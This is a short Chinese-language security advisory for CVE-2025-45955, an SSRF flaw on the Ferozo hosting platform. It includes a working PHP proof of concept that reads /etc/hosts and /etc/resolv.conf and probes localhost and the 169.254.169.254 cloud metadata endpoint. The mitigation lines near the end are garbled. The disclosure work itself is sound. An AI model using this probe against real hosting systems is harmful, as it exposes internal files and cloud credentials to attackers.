攻击者可以通过在 Ferozo 托管平台上上传并执行特制的 PHP 文件来利用此漏洞。一旦被访问,该文件会发起一系列 SSRF 尝试,针对内部服务(如 127.0.0.1、169.254.169.254 或服务网格端点)、本地文件(例如 file:///etc/passwd)以及已知云元数据端点。该脚本会收集响应或错误消息,使攻击者能够测绘内部基础设施、枚举可访问的服务,并收集敏感信息以进行进一步利用。
以下代码演示了该漏洞:
<?php
$targets = [
"file:///etc/hosts",
"file:///etc/resolv.conf",
"http://127.0.0.1/",
"http://169.254.169.254/latest/meta-data/"
];
foreach ($targets as $url) {
echo "[*] Trying: $url\n";
$res = @file_get_contents($url);
echo $res ? substr($res, 0, 500) : "Request failed or unreadable.\n";
}
?>
file_get_contents、fopen 等)127.0.0.0/8、169.254.169.254 等)CVE-2025-45955
由 [Facundo Fernandez, Jinook Kim, Surendra Puppala / 安全研究人员 | @BYU] 报告